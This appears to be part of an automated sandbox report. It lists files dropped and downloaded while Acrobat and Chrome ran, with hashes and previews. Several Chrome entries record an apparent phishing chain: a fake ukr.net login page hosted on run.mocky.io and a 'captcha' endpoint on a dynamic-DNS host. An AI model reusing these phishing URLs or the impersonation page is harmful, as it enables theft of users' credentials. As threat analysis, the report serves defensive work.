SHA-256:	A69C14CF92A344C754606629E7A375CE686447E5AB2748A9D4AFDC1E9D3F7DEE
SHA-512:	09027EC4A0A44723D55DBA7DE07DF1A561BE6BC3313EC579D2B971F648AB1DDDC17EB57DF4222225B38C4832F4041BF859A897DCA9856ABAD64CFEB5683EBDEC
Malicious:	false
Preview:	.... .c.....0v........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI80a83.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8cjOlFH:Qw946cPbiOxDlbYnuRKHWFH
MD5:	47F38C9838456A460B7BD772A52C624C
SHA1:	F5D0732752D3E22FF191FB41BFC8F6840DEC9F93
SHA-256:	D8CF2E6763291074864AE3E0FAB7337FB7D81DC812876B72D6BC2C593993B47B
SHA-512:	3E02C50AB916B92D8DBA8D6D795E1584D4D3D337ABF2343E4198846792106B1B10015D1D5652DC574C81DF99983C16C5A736F85634FB0205DBA9F0F6C984BE8C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.4./.1.0./.2.0.2.4. . .0.2.:.5.0.:.0.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-10-24 02-49-56-331.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.359851576630714
Encrypted:	false
SSDEEP:	384:tMvzDzwzTzTzUzc+zQGFvGJGhGyGhdGdAd73+3AqeqABDBrByBrBsEHhHBHTHVcU:zYZ
MD5:	44D6E0365957C4F3B3501AD7A69D7DB6
SHA1:	A2B04843826AF7332313846A8344C4B51CBBC5C4
SHA-256:	D9836F6D0C228367436D148EF6FBFECC93E9BA166550701395D828528C2E9387
SHA-512:	436583E1FB85F96C91C1867B69CFB07E0DC97257523AC8667C179DF5A32C6A84B18B85F13A30D4FAB521F1182F593441DDD0E216051872A795DCDA533FE3A3F8
Malicious:	false
Preview:	SessionID=1af333dd-7beb-4e47-8996-d36074a71efd.1729752596351 Timestamp=2024-10-24T02:49:56:351-0400 ThreadID=7464 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1af333dd-7beb-4e47-8996-d36074a71efd.1729752596351 Timestamp=2024-10-24T02:49:56:352-0400 ThreadID=7464 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1af333dd-7beb-4e47-8996-d36074a71efd.1729752596351 Timestamp=2024-10-24T02:49:56:352-0400 ThreadID=7464 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1af333dd-7beb-4e47-8996-d36074a71efd.1729752596351 Timestamp=2024-10-24T02:49:56:352-0400 ThreadID=7464 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1af333dd-7beb-4e47-8996-d36074a71efd.1729752596351 Timestamp=2024-10-24T02:49:56:352-0400 ThreadID=7464 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39306366145219
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rq:G
MD5:	8E92F245DAE98AA8F96E81F37768617D
SHA1:	4A029171A99381367E92575594DB30B621F8F363
SHA-256:	6E6193DDF965E6D9EB0CDD28BF3263219D6B843994EF9BCB6E174D5F30690571
SHA-512:	19D8E973C952D6D704A1FA82AD67A51EC3A347B034CC98794E69311C25FEEDF436FA96AC10892C63CB77AB6381F226E346C781F11F3127C350DD7B27AEA3AF55
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\14e21855-c294-408a-a2d7-637fcb49ac59.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\56b92ea5-e917-434e-97d5-61e435b035fc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9d4505d0-1109-4e66-8f1d-510398fc9274.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJxdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVwWLaGZDwZGV3mlind9i4ufFXpAXkrj
MD5:	96E2EE6506759519A5E3E5E550F28388
SHA1:	477522A699526F3EC2270AD0B3D3B8D6609F8BBB
SHA-256:	D135FEF8231B87D1F758B3D31FC5467BC933321F7E8EACB316F933DBA36474D5
SHA-512:	C84E93CB72ABC0742C44BF13608472EDD30BE64358C0DA350D9D54C0A88EC45931D48CE1DA823FC527E5134E7277B16AFE0521F2716C067A519FDD390DB315CC
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a48bae15-5027-4ff8-b479-e4633f0b121a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6ZSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9UZ82O:O3PjegfZS8lkipdjMMNB1DofjgJJJJm/
MD5:	E8E5032AAD14929D630F557A1529EBAC
SHA1:	82368EE88E746380709904F57E25F0E7427FDF4E
SHA-256:	20A18AE27D5799210C244F83AD9734B4346A3F222A64D0B6A231CA3FC75C136B
SHA-512:	54F1A755CF7B4ABDC7A6DA9840EA22D29A1DE6B537D0FBDA62BDD29D791D65803CDEA72301ADA6FF49888D36B35032D36421E76C4F0C18130103CCE4820AA5B7
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32056)
Category:	downloaded
Size (bytes):	93057
Entropy (8bit):	5.300945039751526
Encrypted:	false
SSDEEP:	1536:O4TCgi8RzmZFX38J+L0kJQsYb+5k/QRZdC/RtfDwnv+p0WzH/IoSE7qABZnu0sFv:O4AkTtU2p0WPSIDrstfam
MD5:	2C348A8A373A2E0DC0F8D9CF2C87DFE1
SHA1:	EA6A7187A45F95AED8759C468904D16A052B6160
SHA-256:	8BF150F6B29D6C9337DE6C945A8F63C929B203442040688878BC2753FE13E007
SHA-512:	787EBE399BAFFA77673D3C7355F8A7FA58B43D72B16F08B5816587DB1AA69639537CEDC974195C71993059DD1971602D0D3BECAA7B71D5B6D54A45B31D4B5F41
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js
Preview:	/! jQuery v1.10.1 \| (c) 2005, 2013 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./.(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.1",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,T=/\S+/g,C=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:\s(<[\w\W]+>)[^>]\|#([\w-]))$/,k=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,E=/^[\],:{}\s]$/,S=/(?:^\|:\|,)(?:\s\[)+/g,A=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener\|\|"load"===e.type\|\|"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q)

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 2988, version 1.0
Category:	downloaded
Size (bytes):	2988
Entropy (8bit):	7.250762068025676
Encrypted:	false
SSDEEP:	48:NNqlHrOWHeVeBFT3VwXppTmAtTQbt6aUaoRsvnHBsbt6aUaoRsvnHBvML9yMui0K:KFOWHecT3uTB0bt6aV2bt6aVx5IQU
MD5:	4FA38D775A1F6B9179BC7C425ECAF7F4
SHA1:	999363E7DB078097DD06C303A4FD09839DA7CC6E
SHA-256:	6252319C96777A4CE3952F63EC70735230C1C5C9392E81A9B3F9A8B2BC06C164
SHA-512:	D1F0F5A1902CBACE576265DB8BD71B5FCB8249BE2AC3134675253D37207F761F703E332461A2D4215937F0210453CDC2FB574D7AE0E66218E864DD16FECD1DFB
Malicious:	false
URL:	https://raw.githubusercontent.com/noppa/text-security/master/dist/text-security-disc.woff
Preview:	wOFF..............0h........................GSUB.......;...T .%zOS/2...D...>...VcFc9cmap..........+bh.aUglyf.......A...P..#.head...........6..y.hhea...........$...#hmtx............. ..loca... .........(..maxp...(....... ..."name...H...B....p..post............e.tix.c`d``.b0`.c`rq..a..I,.c.b`a...<2.1'3=.......i. f....&;.H.x.c`d..8.....!.....Q.B3.`Hbba``b`ef....\S....._.r..I.. .....>..x...e.0.E........B .[p....kpwwww.....\.......S55.!.....N......j```./~..!...Yq`./50....b......9.$..2.C....9.uP......:.....7......_..F.[q.Q.X........Q.zpp{.J.U.+=L....p....#Tz.J.T.+=J.G..h...........cUz.J.S.q+=^.........Uz.JOR.I+=Y.'.......SUz.J....T.w.....Rz.JO_.?Tz.J.X.=s.g.......Wz.J.Y.=w.........Wz.J....Vz.J/\.E.h.....^..KVz.J/].e.l.....^..+V.O..s.W.._.r..Z.U..J.Z...z.....^..kWz.J.[...~.7...+.a.7.....Vz.Jo^.-.e........Vz.Jo_...c.w.....Vz.J.^.=.g........Vz.J._..}`......>..V..J.^.#}d.....>...V..J._..}b.O...>..V..J.^.3}f....>...V..J._..}a..Q..V..J_\.K}i./..

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32056)
Category:	dropped
Size (bytes):	93057
Entropy (8bit):	5.300945039751526
Encrypted:	false
SSDEEP:	1536:O4TCgi8RzmZFX38J+L0kJQsYb+5k/QRZdC/RtfDwnv+p0WzH/IoSE7qABZnu0sFv:O4AkTtU2p0WPSIDrstfam
MD5:	2C348A8A373A2E0DC0F8D9CF2C87DFE1
SHA1:	EA6A7187A45F95AED8759C468904D16A052B6160
SHA-256:	8BF150F6B29D6C9337DE6C945A8F63C929B203442040688878BC2753FE13E007
SHA-512:	787EBE399BAFFA77673D3C7355F8A7FA58B43D72B16F08B5816587DB1AA69639537CEDC974195C71993059DD1971602D0D3BECAA7B71D5B6D54A45B31D4B5F41
Malicious:	false
Preview:	/! jQuery v1.10.1 \| (c) 2005, 2013 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./.(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.1",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,T=/\S+/g,C=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:\s(<[\w\W]+>)[^>]\|#([\w-]))$/,k=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,E=/^[\],:{}\s]$/,S=/(?:^\|:\|,)(?:\s\[)+/g,A=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener\|\|"load"===e.type\|\|"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q)

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 86 x 25
Category:	downloaded
Size (bytes):	2693
Entropy (8bit):	7.110022670289529
Encrypted:	false
SSDEEP:	48:PHAvnLyfNpF3e1J39Br2fyL81pYI+1Z+zs4m0yby0AlcD/KEiX1+VeA:PgefHpexcfy0+IwZh02ilAeA
MD5:	7A96834914587AC43864282FF395CD36
SHA1:	27568E0285CBDADC51817D972629F6A16CBF777F
SHA-256:	19E1BF9FE02363F52BEA7320BF01172B4E256133C5BA593F2EDCEE480EA1E658
SHA-512:	526B74589B1252D9401B977A004C2683F94E309E3564982063EC6C26F4BEEE5563EE81804EE961CBFC3B9D2D75ABA692CE4D7DA1D48F42AC070E7D37E2783039
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/loader-3VguyQcd.gif
Preview:	GIF89aV............!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:56b05470-af44-44eb-9fe0-81b87d3be041" xmpMM:DocumentID="xmp.did:DB66799B433A11E78AF5F6E47B418616" xmpMM:InstanceID="xmp.iid:DB66799A433A11E78AF5F6E47B418616" xmp:CreatorTool="Adobe Photoshop CC 2017 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f454ccd2-3395-41ee-ad8c-8d692186c3f5" stRef:documentID="xmp.did:56b05470-af44-44eb-9fe0-81b87d3be041"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	14
Entropy (8bit):	3.3248629576173574
Encrypted:	false
SSDEEP:	3:cARUXc5n:tOc5n
MD5:	673ACC20F42750881403C6B2F7D1A036
SHA1:	C5B07B0C80A679174ADD3D1279C2BC346868AFE1
SHA-256:	C23A3F2B2383ECB3CEBF6FF27D355D644F025AC0B8933284D259C1D1C081B031
SHA-512:	D6E999B6E7CF1A68AFC62D3997B0DEF50041153F6702B52820B4765309654321228222E6E892F92D91EB62630A0BA45BACF9479C4FB693EC886EB12EE4C35344
Malicious:	false
URL:	https://jkbfgkjdffghh.linkpc.net:17461/captcha
Preview:	WAIT#412929023

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (21893)
Category:	downloaded
Size (bytes):	130570
Entropy (8bit):	5.544366287125925
Encrypted:	false
SSDEEP:	1536:isx041wT+jSU6NHrTbvM2PSMTBy0ychNb/p0vIcuKUc:XHhStVSMN/3/Gf
MD5:	3E5382D585CC81979004F45ADA325984
SHA1:	685921AC85E86A27E255B98AD2A90F8C191892C3
SHA-256:	AACE9BBE05A8F1ADEC03DA01E5A3B822513ABDE9D7C434C2D0E90DCB64014624
SHA-512:	73D1425B1203BE4EA0EFD6951517EA1CFA76B32A6C5FE6A03F9F2A8DA679D894A14C90793F0533D013DAE0194FABC57199BA52FA4436D50D50076534FAA6D9C0
Malicious:	false
URL:	https://run.mocky.io/v3/11273092-7220-4b85-b8d8-758c5fd141a2
Preview:	<html>.<head lang="uk">.<title>..... @ ukr.net - .......... .......... .....</title>.<meta content="text/html; charset=utf-8" http-equiv="Content-Type">.<meta name="theme-color" content="#669900">.<link rel="icon" href="https://accounts.ukr.net/login/favicon.ico">.<link href="https://run.mocky.io/v3/8dbd585e-805d-4b14-8485-c6da4c3ef5a7" rel="stylesheet">.<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>.<style>.@font-face{font-family:Lato;font-style:normal;font-weight:700;src:local("Lato Bold"),local("Lato-Bold"),url(.https://cdnjs.cloudflare.com/ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.ttf) format("truetype"),url(https://cdnjs.cloudflare.com/ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.woff2) format("woff2"),url(.https://cdnjs.cloudflare.com/ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.woff) format("woff")}..<style>.._1yqY49UQ{font-size:12px;background:#fff;border-bottom:1px solid transparen

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.182005814760214
Encrypted:	false
SSDEEP:	3:cARUXcV:tOcV
MD5:	8A3250B0BE520057E8EE2F4A0C028B28
SHA1:	02014645679A84DC2F678D14AD8625E4E3520921
SHA-256:	79F7FE5EA7269B98D6D7A5AA8753E4AB6B566591B48836BF47728D1E4F1E9E99
SHA-512:	B82D317F4C67408F49483038C75EC58C923FC8A998623E911B24153D4E511D18BF1C278646FF57A810BB96946ABC6B00AB5DDD4C664942EAE5B64569ED1DE382
Malicious:	false
Preview:	WAIT#412929423

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.636458569185657
Encrypted:	false
SSDEEP:	3:bPuAjJipzth98rD0GkNFSc:juAaLl/b
MD5:	6906BBB7560940EDF501E0FBEEBB0FB4
SHA1:	B42F390375F4773D206EC99DC3EF918E5A96DD64
SHA-256:	3573E7FCC62E36385CE563110FC9DFCEB948D63FF62F1F7CE181295E4625AE92
SHA-512:	DAC90DF09D5DDF8497BBE5F90DD446B13FDC7B0DBC8582EA3F9F1C9DC6F5963B99AB4DE19C97D0A8452451FE57223E6FE9659DDB469D92A6BCF9D4B5DBA9B5D0
Malicious:	false
